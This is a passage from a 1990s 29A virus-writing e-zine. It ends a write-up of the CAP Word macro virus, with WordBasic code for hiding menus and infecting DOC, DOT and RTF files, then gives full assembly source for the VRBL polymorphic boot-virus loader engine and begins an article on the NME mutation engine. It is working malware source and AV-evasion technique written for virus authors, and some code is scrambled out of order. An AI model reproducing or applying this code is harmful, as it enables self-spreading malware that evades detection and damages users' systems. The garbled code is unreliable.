their menu itemz back. In efect, some AV programz that are able to remove all of the CAP viral macroz from the Global template, would find themselvez a bit frustrated at their inability to properly fix the changez made by CAP to the Word menuz. Its pathetic readin the comon solution provided by most of these high tech AVerz in order to fix the problem. I still can hear them say: "Exit Word, delete NORMAL.DOT, Start Word, now the menu itemz are back". While this straightforward solution certainly works, it proves to be quite ineficient and exagerated as well. C'mon the fastest and most efective solution was at the "right click" of a mouse! Well, heh.. sometimez i think it is true some AVerz have 4 bugz playin cardz in their brainz :) This solution even worked on my Word 6.0 runin on Win3.1, not just Win95. Just in case u need the solution, its very simple: Right-click over some place at the toolbar, the Customize window box opens, select the "Menus" tab, push the "Reset All" buton then click OK, thats all. After these stepz the menu itemz "Toolz/Macro", "Toolz/Customize", etc, are back. However, no matter the first or second procedure is used if the user has made menu customizationz or added some butonz to his toolbar, they are lost after doin any of these stepz. There exists however a third solution not mentioned before in which the user wont lose any of his customizationz except of course his own macroz (now deleted) if they existed. It consists of addin the lost menu itemz one by one usin the "Add" buton from inside the "Customize" window box. Good enough, now lets continue with our stuff. The actual implementation of the macro code targeted to remove these menu itemz is very simple, but it certainly looks somewhat complicated and messy if u have a first look at the virus code itself:

For I = 0 To 1 If I Then J = 1 Else J = 6 A$ = MenuText$(I, J) J = CountMenuItems(A$, I) - 1 For M = J To 1 Step - 1 If InStr(MenuItemMacro$(A$, I, M), "Macro") Then If I Then B$ = MenuItemMacro$(A$, I, M - 2) If UCase$(B$) <> UCase$(M$(9)) And Left$(B$, 1) <> "(" Then MacroCopy "ToolsMacro", B$, K Else M = M + 1 End If For T = M To M - 1 Step - 1 If T > 3 Then ToolsCustomizeMenus .MenuType = I, .Position = T, .Name = MenuItemMacro$(A$, I, T), .Menu = A$, .Remove, .Context = 0 Next M = 1 T = 0 End If Next Next

This code starts by inspectionin each of the menu itemz from the "Toolz" menu from top to bottom, scanin each name for the word "Macro" inside them. If any of the menu itemz contains such word as part of its name, then CAP asumes it has found the position for the "Toolz/Macro" menu item inside the "Toolz" menu. If this condition is met, CAP deletes the actual menu item (Toolz/Customize). If the virus is searchin inside the "File" menu - with

no documentz opened - (second step) and if the word any of the menu itemz from such "File" menu, CAP item (Toolz/Macro) and the "previous" one - not the case of the "File" menu (with no documentz opened), itself startin with "(".

"Macro" is found inside removes the actual menu next one - which in the is really a "separator"

If u are curious enough, u'll notice somethin in the above code not mentioned in the latter explanation. There is a "MacroCopy" function. This function gets control when the "Filez" menu is bein scaned and the "Toolz/Macro" item is found as well. Its sole purpose is to copy the "FileTemplatez" macro to the current localized macro name. If for some reason, the above stepz dont work, i.e. the "Toolz/Macro" menu item could not be found, for example in German versionz of Word where "Macro" is spelled as "Makro", then another chunk of code is executed:

A$ = MenuText$(1, 1) [...] J = CountMenuItems(A$, 1) - 1 [...] For I = 6 To J If Left$(MenuItemMacro$(A$, 1, I), 1) = "(" And Left$(MenuItemMacro$(A$, 1, I - 2), 1) = "(" Then For T = 1 To 3 Step 2 B$ = MenuItemMacro$(A$, 1, I - T) If Left$(B$, 1) <> "(" Then MacroCopy M$(T + 6), B$, K Next I = J End If Next

This code actually tries to make some guessez about where the "Toolz/Macro" and "File/Templatez" menu itemz are located in the "File" menu (when no filez are opened). If these checkz are passed then the "ToolsMacro" and "File Templates" macroz are copied to their respective localized macro namez. Unfortunately after CAP was released i realized that the condition block for the "If" statement never met becoz of a certain detail i didnt realize. This is the reason why in German version of Word or in general in any other localized version where the word "macro" is not found in the menu itemz, there won't be an equivalent localized macro for "FileTemplates" nor "Tools Macro". Well what TF nobody's perfect! #8I.

4.3. Document, template and RTF infection ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It has been said that CAP, as with any other macro virus, infects Word documentz and templatez. However what AVerz seem to have missed at all is the fact that CAP also infects documentz in RTF (Rich Text Format) layout. If AVerz argue that RTF filez cant contain macroz at all, they are certainly right. But hey, nothin stop us from convertin the RTF file into a Word template and then copy our macroz there! If so, the file will still have the RTF extension but will contain a template format inside. Here's the code:

Dim D As FileSaveAs GetCurValues D If N < 10 And D.Format = 1 Or D.Format = 0 Or D.Format = 6 Then D.Format = 1 For I = CountMacros(0) To 1 Step - 1 B$ = MacroName$(I, 0) If B$ <> "ToolsMacro" Then K = - 1 Else K = 0

MacroCopy B$, F$ + ":" + B$, K Next FileSaveAs D End If

The above code simply checks for 3 posible conditionz: if the file is a clean template, if the file is a document or if it has a RTF layout. If any of these conditionz is met, the object will become infected. The infection consists of copyin all the CAP macroz (english macroz plus localized ones if they exist) from inside the Global template to the object bein infected (DOT, DOC or RTF). Note in the "For" loop that when the macro name matches "ToolsMacro", it will be copied in unencrypted form (K=0) in order to keep the generation count alive.

4.4. Disablin of AutoMacroz ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Probably u have heard about some macro virusez bein able to "enable" AutoMacroz just in case they have been turned off. A clear example is the WordMacro.Colors virus which enables AutoMacroz each time the "Tools/Macro" menu item is activated. While this could have some benefitz, it could also add some drawbackz and dangerous efectz to our macro virus. If AutoMacroz are enabled, then any AutoMacro that had been turned off in any template will be reactivated. As a result, if the global template had an "AutoOpen" macro, it will be executed each time a new document is opened. However if the document about to be opened contains another "AutoOpen" macro, perhaps bein part of the same or "another" macro virus, then this latter macro will be executed "first" than the "AutoOpen" macro from inside the global template. This means that another "foreign" macro virus could be executed "first" without our knowledge! If survival is critical for our macro virus, then its quite obvios that enablin AutoMacroz should be avoided if posible. If another macro virus gets the control before ours, posibly by meanz of one of its AutoMacroz, then it could wipe away all of our own macroz from the global template, thus destroyin and removin our macro virus. This is unavoidable and very likely to hapen if AutoMacroz are enabled, so u better think about it the next time u enable AutoMacroz. If our macro virus consists only of one single AutoOpen macro then disablin AutoMacroz will obviosly stop all chancez to spread our virus further, so thats perhaps a bad idea. However if our virus contains other macroz that could automaticaly be executed or activated by other user actionz such as keystrokez, file menu itemz, toolbar butonz, etc, then the "disablin" of AutoMacroz would prove to be a much more atractive and robust aproach as it will guarantee the survival of our macro virus.

4.5. The "SaveAs" problem solved ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Its kind of curious that the AVP virus description was the only one mentionin something about CAP bein able to "emulate" the "SaveAs" function, however it ended up sayin the rubish inaccurate statement: "it writes an empty document to disk". While its worth from Kasper realizin about the "SaveAs" emulation its unforgivable for any AVer not knowin how Word templatez work. CAP, when emulatin the "SaveAs" function, doesnt write any "empty" document to disk, it rather creates a new clean document based on the active template, which is the infected document itself and as such it is not empty. Then CAP saves to disk the new document dependin on the users choice at the "SaveAs" dialog box and finally infects it. The whole purpose of all this, is just make the user happy by lettin him select the drive, file format and directory names when the "SaveAs" dialog box appears.

In the article "Macro virus tricks", point 2 (The "SaveAs" problem), point 2.1 (The "SaveAs" solution) and point 2.2 (The "SaveAs" example), it is explained in full detail how this "SaveAs" emulation can be achieved in order to solve the "SaveAs" problem.

5. Shortcutz ÄÄÄÄÄÄÄÄÄÄÄÄ (*) alt.comp.virus > > > - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 CAP.A is a fairly new Word Macro virus. The latest version of McAfee should be able to clean it. If it doesn't, you might want to try F-Macro from http://www.datafellows.com

BTW, down here (Belgium, Luxembourg, France) and among our global customers, the CAP virus family has almost instantly become the most widespread virus we have ever met. Roughly 80% (yes eighty percent) of all our virus related tech support calls have been about that virus during the last two months. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 (*) alt.comp.virus - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 > L'accorgimento sembra proprio funzionare (il che mi fa supporre che sia > un virus del piffero, visto che si lascia aggirare cos facilmente), Non farti ingannare. Per essere un macro virus, il Macro.Word.Cap e' piuttosto complesso e contiene una tecnica innovativa che gli permette di bypassare le barriere poste dalla localizzazione di Word e quindi di intercettare delle macro sistema in molte versioni di Word che usano un linguaggio diverso dall'Inglese. Da un punto di vista prettamente tecnico, il Cap e' un virus tutt'altro che banale. In genere, il Normal.dot non e' mai protetto dalla scrittura, per cui i virus writer che scrivono macro virus hanno un approccio diverso rispetto a quello di chi scrive virus piu' "tradizionali". Non e' un caso se il Macro.Word.Cap e' ormai uno dei virus piu' diffusi in Italia, se non addirittura il piu' diffuso in assoluto nel nostro paese. > 2) che effetti provoca il macro virus CAP (ammesso che fosse quello), > oltre a cancellare la macro e a nascondere alcuni comandi di Word? Nulla di particolare. Il virus intercetta il comando di sistema FileSalvaConNome e controlla se viene utilizzato per scrivere documenti, modelli o file in formato Rich Text Format (RTF). In questi casi, converte il file in un modello e lo infetta. Come risultato si ottiene che un file salvato in formato RTF, che normalmente non contiene macro, sara' comunque infetto, dal momento che in realta' verra' salvato come modello. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 (*) http://www.geocities.com/SiliconValley/Heights/3652/F.HTM - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Virus Alerts (based on messages posted to alt.comp.virus) 08-11-97: WM/CAP is becoming the most common virus 05-12-97: Hoax virus alert posted to several newsgroups 05-08-97: WM/Helper virus will put passwords on documents

04-27-97: Word Macro NPad virus in the wild - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 (*) http://www.sophos.com/virusinfo/topten/jul97.html - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Top ten viruses reported to Sophos last month July 1997 virus top ten ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ July 1997 Name Percentage of reports ÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Winword/CAP 14.1% Form 12.7% Anticmos 8.5% Winword/Concept 7.0% Excel/Laroux 5.6% New Zealand-i 5.6% Parity Boot 5.6% Winword/Npad 4.2% CMOS4 2.8% Winword/Switchr 2.8% Others 31.1% - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 (*) http://www.itasa.com.mx/fprot/soporte/mexvir.htm - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Los virus mas comunes en Mexico VIRUS CATEGORIA ÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄ CAP.A Macro 15 Years MBR Concept Macro Wazzu Macro NPad Macro Implant MBR/com/exe Monkey MBR Byway com/exe Natas MBR/com/exe Boot.437 Boot Exebug MBR - - - - - - - - - - IDENTIFICABLE ÄÄÄÄÄÄÄÄÄÄÄÄÄ s¡ s¡ s¡ s¡ s¡ s¡ s¡ s¡ s¡ s¡ s¡ - - - - - - REMOVIBLE ÄÄÄÄÄÄÄÄÄ s¡ s¡* s¡ s¡ s¡ s¡ s¡ s¡** s¡ s¡ s¡ - - - - PROCEDIMIENTO ÄÄÄÄÄÄÄÄÄÄÄÄÄ F-POTATOE 2.27+ (Windows) Fixdisk repair F-POTATOE (Windows) F-POTATOE (Windows) F-POTATOE (Windows) F-IMPLAN (v. nota t‚c. #60) F-potatoe /hard /disinf Ver nota t‚cnica #58 F-potatoe /hard /disinf Sys c: diskette. F-potatoe /hard /disinf - - - - - - - - - - - - - ->8 This month ÄÄÄÄÄÄÄÄÄÄ 1 2 3 4 5 5 5 8 9 9 Last month ÄÄÄÄÄÄÄÄÄÄ 1 5 3 7 8 15 2 5 3 new

Btw, note that Implant (original name: SuckSexee), another virus written by a 29A member (GriYo), ranks sixth as the most widespread virus in Mexico. (*) http://www.dataalert.com/top.htm - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Virussen Top 10 Data Alert International B.V. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ De meest gerapporteerde en voorkomende virussen in de BeNeLux. JULI-AUGUSTUS 1997 Rang ÄÄÄÄ 1. Virusnaam ÄÄÄÄÄÄÄÄÄ WM/Cap Virustype ÄÄÄÄÄÄÄÄÄ Macro

2. 3. 4. 5. 6. 7. 8. 9. 10. - - - - - - - - - - - - -

XM/Laroux Antiexe WM/Npad AntiCMOS.A WM/Concept Junkie Ripper NYB Parity.Boot - - - - - -

Macro Boot Macro Boot Macro Multi Boot Boot Boot - - - - - - - - - - - - - - - - - ->8

(*) http://www.virusbtn.com/Prevalence/199708.html - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 VB Prevalence Table, August 1997 Virus Name Type Number of incidents Percentage ÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄ CAP Macro 145 28.5% Concept Macro 51 10.0% NPad Macro 39 7.7% Dodgy Boot 26 5.1% Parity_Boot Boot 24 4.7% Form Boot 21 4.1% AntiEXE Boot 19 3.7% Temple Macro 16 3.1% Laroux Macro 15 3.0% Wazzu Macro 14 2.8% [...] Total: 508 100.0% - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

6. Disclaimer ÄÄÄÄÄÄÄÄÄÄÄÄÄ This information is for educational purposez only. The author is not responsible for any problemz caused by the use of this information.

(c) 1997. Jacky Qwerty/29A.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

. .: .:.. :.. .. .:.::. :. ..: <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> .: .:.. ..:. .: ..:.::. ::.. :.:. [VRBL] Vecna's Random Boot Loader

This is the first polymorphic engine exclusively designed for boot viruses ever, and it's, maybe, one of the most variable engines in the world! This engine creates a loader, to be put in the MBR/BOOT, and sets up registers for further polymorphism in the virus body. The engine, btw, is very small as it's only 739 bytes long. The engine operates this way: first it creates random movs, jmps, xchgs, adds, xors, and so on. They are fully random, with no fixed structure. After this, it executes the loader in single step mode. The int 1 handler checks for the end of the generated code, when it passes control to the final routine, which fixes the needed registers, thru xors, adds and subs, using the values that are already held in the registers. So, not even the moves are fixed. After this, the loader passes control to the virus body, either by an intersegmented jump, or by means of a retf instruction. The engine has two EQUates, which are SIZE_IN_SECTORS and SEGMENT_VALUE. In SIZE_IN_SECTORS you must put the size of your virus divided by 512, and in SEGMENT_VALUE, the value of the segment you want your virus to get control of. As your virus probably gets mem from 0:[413h], you should not put very high values here, because your virus may overwrite itself when moving to the final segment. In machines with 640kb of conventional memory, which is the most common value nowadays, the max value is 640-((SIZE_IN_SECTORS* 512)*2). Remember also not to put this value in the 7c0h-7b0h or 0h-100h segment area, because of the original boot and the IVT presence. In short, use 2000 and it will work. ;-) Below you will find the code for VRBL, and later a demo test program which shows the effectivity of the engine, and the randomizer routine that I designed especifically for it. Hope you enjoy it!

; - -[VRBL.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; ; Poly engine for boot loader ; Entry: ; DI = buffer to put loader in ; CX = cylynder of code ; DX = head of code ; Exit: ; All preserved size_in_sectors equ 3 segment_value equ 2000h makeloader proc pusha push ds push es push cs

push cs pop es pop ds call random_init mov word ptr ds:[_CX], cx mov word ptr ds:[_DX], dx call random and ax, 000111111b or al, 10000b mov cx, ax mov word ptr [START], di call random and ax, 011111b add al, 000111b push cx mov cx, ax MyBrainIsUpsideDown: call make_mov loop MyBrainIsUpsideDown pop cx LoveKills: push cx NowIWannaSniffSomeGlue: call random and ax, 0111b shl ax, 1 mov si, offset GARBAGE_TABLE add si, ax cmp si, word ptr ds:[LAST_CHOOSEN] je NowIWannaSniffSomeGlue mov word ptr ds:[LAST_CHOOSEN], si call word ptr ds:[si] pop cx loop LoveKills mov word ptr [STOP], di push 0 pop ds push dword ptr ds:[1*4] mov word ptr ds:[1*4], offset INT1 mov word ptr ds:[1*4+2], cs mov word ptr cs:[_SP], sp mov ax, ss mov word ptr cs:[_SS], ax mov cx, 8 IDontWantBeBuriedInAPetCemetary: push 0 loop IDontWantBeBuriedInAPetCemetary popa push 0100h push cs push word ptr cs:[START] iret endp makeloader db '[VRBL]' make_jmp proc call random mov al, 0ebh and ah, 000001111b or ah, 00000011b stosw movzx cx, ah

RamonesMania: call random stosb loop RamonesMania ret endp make_jmp make_inst_inst proc call random and ax, 01100000111b mov bx, offset TABLE_INST_INST xlat or al, ah stosb SpiderMan: call random and ax, 00111111b mov cx, ax mov dx, ax shr dx, 3 and cx, 0111b cmp cx, dx je SpiderMan cmp cx, 0100b je SpiderMan cmp dx, 0100b je SpiderMan or ax, 11000000b stosb ret endp make_inst_inst table_inst_inst equ this byte db 00001000b db 10001000b db 00100000b db 00010000b db 00000000b db 00011000b db 00101000b db 00110000b make_inst_sec proc mov al, 011110111b stosb TheKKKTookMyBabyAway: call random and ax, 0000011100111000b cmp ah, 00000100b je TheKKKTookMyBabyAway cmp al, 00010000b jb TheKKKTookMyBabyAway cmp al, 00101000b ja TheKKKTookMyBabyAway or al, ah or al, 011000000b stosb ret endp make_inst_sec make_one_byte proc mov si, offset table_one call random

endp

and ax, 00001111b movsb ret make_one_byte

table_one equ this byte clc cld cli stc std sti cmc cwd cbw lodsb scasb sahf lahf int 3 nop db 0f1h make_inst_imm proc mov bx, offset i_table mov al, 10000001b stosb DoYouWannaDance: call random and ax, 0000011100000111b cmp ah, 0100b je DoYouWannaDance xlat or al, ah stosb call random stosw ret endp make_inst_imm i_table equ this byte db 11000000b db 11001000b db 11010000b db 11011000b db 11100000b db 11101000b db 11110000b db 11111000b inc_dec_ proc IWannaBeSedated: call random and al, 01111b mov cl, al and cl, 0111b cmp cl, 0100b je IWannaBeSedated or al, 01000000b stosb ret endp inc_dec_

make_mov proc call random and al, 0111b cmp al, 0100b je make_mov or al, 010111000b stosb call random stosw ret endp make_mov start equ this byte dw 0

last_choosen equ this byte dw 0 garbage_table equ this byte dw offset make_inst_inst dw offset make_mov dw offset make_inst_sec dw offset make_inst_imm dw offset inc_dec_ dw offset make_one_byte dw offset make_jmp dw offset make_mov int1 proc push bp mov bp, sp cmp word ptr cs:[bp+2], 1234h equ word ptr $-2 jae fixreg pop bp iret int1

stop

endp

fixreg proc mov word ptr cs:[SAVE_AX], mov word ptr cs:[SAVE_BX], mov word ptr cs:[SAVE_CX], mov word ptr cs:[SAVE_DX], cli mov sp, 1234h _sp equ word ptr $-2 mov ax, 1234h _ss equ word ptr $-2 mov ss, ax sti push 0 pop ds pop dword ptr ds:[1*4] push cs push cs pop ds pop es mov di, word ptr [STOP] BornToDieInBerlin: mov bp, 0 ImAStumpedStormtropperYesIAm: mov si, offset TABLE_FIX call random

ax bx cx dx

and ax, 0111b cmp al, 6 jae ImAStumpedStormtropperYesIAm shl ax, 1 add si, ax call word ptr [si] call random jp IBelieveInMiracles call make_jmp IBelieveInMiracles: cmp bp, 0111111b jne ImAStumpedStormtropperYesIAm jmp HeyOhLetsGo table_fix dw dw dw dw dw dw equ this byte offset make_ax offset make_bx offset make_cx offset make_dx offset make_es offset make_override

make_ax: bts bp, 0 jc $ret mov dl, 000b mov bx, word ptr [SAVE_AX] mov cx, word ptr [_AX] $put: mov al, 010000001b stosb call random and ax, 011b cmp al, 1 je @sub cmp al, 2 je @add @xor: xor bx, cx mov al, 011110000b jmp store @sub: sub bx, cx mov al, 011101000b jmp store @add: sub bx, cx neg bx mov al, 011000000b store: and al, not(0111b) or al, dl stosb xchg ax, bx stosw $ret: ret make_bx: bts bp, 1 jc $ret mov dl, 011b mov bx, word ptr [SAVE_BX] mov cx, word ptr [_BX]

jmp $put make_cx: bts bp, 2 jc $ret mov dl, 001b mov bx, word ptr [SAVE_CX] mov cx, word ptr [_CX] jmp $put make_dx: bts bp, 3 jc $ret mov dl, 010b mov bx, word ptr [SAVE_DX] mov cx, word ptr [_DX] jmp $put make_es: bts bp, 4 jc $ret bt bp, 5 jc SadMOV PushPop: mov al, 68h stosb mov ax, SEGMENT_VALUE stosw mov al, 0 org $-1 pop es stosb jmp $ret SadMOV: mov al, 010111101b stosb mov ax, SEGMENT_VALUE stosw mov al, 010001110b stosb mov al, 011000101b stosb ; mov bp, SEGMENT_VALUE ; mov es, bp jmp $ret make_override: bts bp, 5 jc $ret mov al, 68h stosb mov ax, SEGMENT_VALUE stosw mov bl, byte ptr [seg_need] TryES: cmp bl, 26h jne TryCS ; mov al, 0 ; org $-1 ; pop es ; stosb CleanDI: sub di, 3 jmp $ret TryCS: cmp bl, 2eh je CleanDI

; ; ; ; TrySS:

mov al, 0 org $-1 pop cs stosb cmp jne mov org pop jmp bl, 36h TryDS al, 0 $-1 ss BackInBlack

TryDS: cmp bl, 90h jne TryFS mov al, 0 org $-1 pop ds BackInBlack: stosb jmp $ret TryFS: cmp bl, 64h jne TryGS mov ax, 1234h org $-2 pop fs jmp BackToTheHell TryGS: mov ax, 1234h org $-2 pop gs BackToTheHell: stosw jmp $ret HeyOhLetsGo: mov ax, 013cdh stosw call random bt ax, 1 jc make_jump make_retf: mov ax, 00 org $-2 push es push bx stosw mov al, 0 org $-1 retf stosb jmp done make_jump: mov al, 0eah stosb mov ax, word ptr cs:[_BX] stosw mov ax, SEGMENT_VALUE stosw jmp done done: mov word ptr [STOP], di pop es pop ds

endp _AX _BX _CX _DX save_AX save_BX save_CX save_DX ; ; ; ; ; ; ;

popa ret fixreg dw dw dw dw dw dw dw dw 200h+size_in_sectors 0 ? ? ? ? ? ?

- -[DEMO.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 This must will This will demo program generates 99999999 little demos of my engine. This code reside in the MBR or the boot sector of a floppy or harddrive. They load the rest of the virus from other track. They're very variable. code is designed to run in a boot, so, if you execute the demos they surely crash. Check the code with a debugger.

.model tiny .code .startup .386 push cs pop ds push cs pop es do_next: call random_init mov di, 08000h mov cx, 1 mov dx, 0180h call makeloader mov ah, 3ch mov dx, offset fn2 xor cx, cx int 21h jc exit_dem xchg ax, bx mov ah, 40h mov cx, word ptr [STOP] mov dx, word ptr [START] sub cx, dx int 21h mov ah, 3eh int 21h cmp byte ptr ds:[fn2+7], je zero_1 inc byte ptr ds:[fn2+7] jmp next_file zero_1: mov byte ptr ds:[fn2+7], cmp byte ptr ds:[fn2+6], je zero_2 inc byte ptr ds:[fn2+6] jmp next_file zero_2: mov byte ptr ds:[fn2+6],

'9'

'0' '9'

'0'

cmp byte ptr ds:[fn2+5], '9' je zero_3 inc byte ptr ds:[fn2+5] jmp next_file zero_3: mov byte ptr ds:[fn2+5], '0' cmp byte ptr ds:[fn2+4], '9' je zero_4 inc byte ptr ds:[fn2+4] jmp next_file zero_4: mov byte ptr ds:[fn2+4], '0' cmp byte ptr ds:[fn2+3], '9' je zero_5 inc byte ptr ds:[fn2+3] jmp next_file zero_5: mov byte ptr ds:[fn2+3], '0' cmp byte ptr ds:[fn2+2], '9' je zero_6 inc byte ptr ds:[fn2+2] jmp next_file zero_6: mov byte ptr ds:[fn2+2], '0' cmp byte ptr ds:[fn2+1], '9' je zero_7 inc byte ptr ds:[fn2+1] jmp next_file zero_7: mov byte ptr ds:[fn2+1], '0' cmp byte ptr ds:[fn2], '9' je exit_dem inc byte ptr ds:[fn2] jmp next_file next_file: jmp do_next exit_dem: int 20h fn2 db '00000000.COM',0

seg_need db 65h include random.asm org 01000h include vrbl.asm end ; ; ; ; ; ; ; ; - -[RANDOM.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 This is a slow random number generator. This type of random number generators are ideal for polymorphic viruses, because AVs will need to work hard in order to create a reliable algorithm to detect the virus. Despite of this, I changed it not to be slow, so I can demostrate the variability of the engine. You need to call first RANDOM_INIT, then RANDOM to get the random values back in AX.

random_init proc pusha push es push ds push cs cs

pop ds es mov ah, 8 mov dl, 80h ; int 13h mov ax, 201h mov bx, offset random_table and cx, 0111111b mov dx, 0080h ; int 13h cmp dword ptr ds:[bx], ' );' ; je TableDone CreateTable: mov di, bx mov cx, 512 NextRandom: in al, 40h xor byte ptr [X_V], al in al, 40h add byte ptr [X_V], al jmp $+2 mov al, 00 X_V equ $-1 stosb loop NextRandom WriteTable: mov ah, 8 mov dl, 80h ; int 13h mov ax, 301h mov dword ptr ds:[bx], ' );' and cx, 0111111b mov dx, 80h ; int 13h TableDone: mov word ptr ds:[RANDOM_NUMBER], 5 pop ds pop es popa ret endp random_init random proc push bx push ds push cs pop ds mov ax, word ptr [RANDOM_NUMBER] mov bx, ax inc ax cmp ax, 512 jbe ImTheCrusherKingOfTheRing mov ax, 4 ImTheCrusherKingOfTheRing: mov word ptr [RANDOM_NUMBER], ax mov ax, word ptr [RANDOM_TABLE+bx] sahf pop ds pop bx ret endp random random_number dw 0 random_table db 512 dup(0)

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

. .: .:.. :.. .. .:.::. :. ..: <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> .: .:.. ..:. .: ..:.::. ::.. :.:. Û²±° The Necromantic Mutation Engine ( NME ) °±²Û ( used in Zohra virus ) by Wintermute/29A

When I started writing this article, I didn't know how to do it; the engine is full commented in my virus, Zohra, and besides has some things that make it nearly impossible to get it out from the virus. So, I've made a couple things in this article to make it interesting :) First, I'm explaining how it works, and how I made it; just thinking about it and wondering how would I do this and that ( hope that will help you writing your own poly engine if you haven't done one yet... ). After talking about that, I'm giving some guidance about how to use the engine, because it has some particularities :)

1.- How is this poly engine created ? What should a poly engine have ? A good poly engine shouldn't just make some crap instructions as "cli-sti-lahf-nop" and place them among real instructions; a middle-interested user would easily detect something's going wrong in that file when he finds 15 useless one byte instructions, and then would detect it. So, a list with some instructions/opcodes was made, in order to use some more kinds of instructions. Zohra has five groups; one byte instructions, two byte ones, three, four bytes, and long routines. Long routines are anti-debugging or anti-spectral ones, for example. So, the idea was to put that instructions among the decryptor ones. That decryptor instructions are different in length; three, four bytes... so it would last some bytes checking each one and copying it. So, I divided the decryptor instructions block in six blocks respectively, which were formed by five bytes each one, this way:

> > > > > > > > > >

mov db mov mov db mov db xor db inc

bp,0200h 90h,90h

; variable ( junk gen )

si,cs:word ptr [encryptvalue+bp] cx,virus_size/2 90h,90h ; variable di,bp 90h,90h,90h

; variable

word ptr cs:[di],si 90h,90h ; variable ( again ! ) di

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

> > >

inc loop db

di loop_dec 90h

; variable

As you see, there are "blanks" in the blocks; that means more fixed bytes, but of course the instructions aren't placed this way on the engine: first thing the poly engine does is copying these instructions to a buffer in memory and filling the blanks with random bytes from the instruction generators; for example, if there were a three byte blank, the engine would fill it with a two byte instruction and a one byte instruction, or with a with a three byte instruction, etc. As you may see, done this there are still many fixed bytes, the real decryptor instructions. Any AVer could put in his hex searcher something like "F7????4D????4E" and easily detect it. So, next thing in the poly engine are some routines which change the decryptor instructions: randomly, SI is used instead of DI, the way to load CX changes, the "inc di/loop" changes on a "dec cx/jnz xxx", etc. Also, the three SI/DI/CX setting blocks are placed randomly on the decryptor ( it doesn't matter their order ). After making all the changes and setting the decryptor instructions block the poly starts working in a zone between the first and the second copy of the virus; when loading in memory, it makes this: copies the virus, then places a 512 byte buffer, and copies the virus again. The second copy never gets executed, it's encrypted by the first one, and the decryptor is made between them, so when copying to a file it will grow "512 bytes+virus"... So, ES:DI points to the 512 bytes buffer to write on it, and a random generator gets running, placing 1 to 4 byte instructions, long routines, or the decryptor instructions. Also, the engine checks some things; for example, divides by 6 the total size of the decryptor ( 512 bytes ) and checks this with the remaining decryptor instruction blocks, so all the instructions are in the decryptor ( and not very near to each other ). Also checks the distance between the loop/jz and the xor at the end so it doesn't get out of range, and also checks the last bytes to finish the decryptor; for example, if there are only three bytes remaining of decryptor, the engine will put a three byte instruction, etc. Finally,... why using long routines ( as an antidebugging one ) ? To avoid one couple things. The antidebugging routine is especially made for AVP, which tries to decrypt the virus ( and makes it ! ;) because of its heuristic method, which fails when there are antidebugging routines and the virus isn't decrypted yet ( it decrypts viruses and searches for things like mov 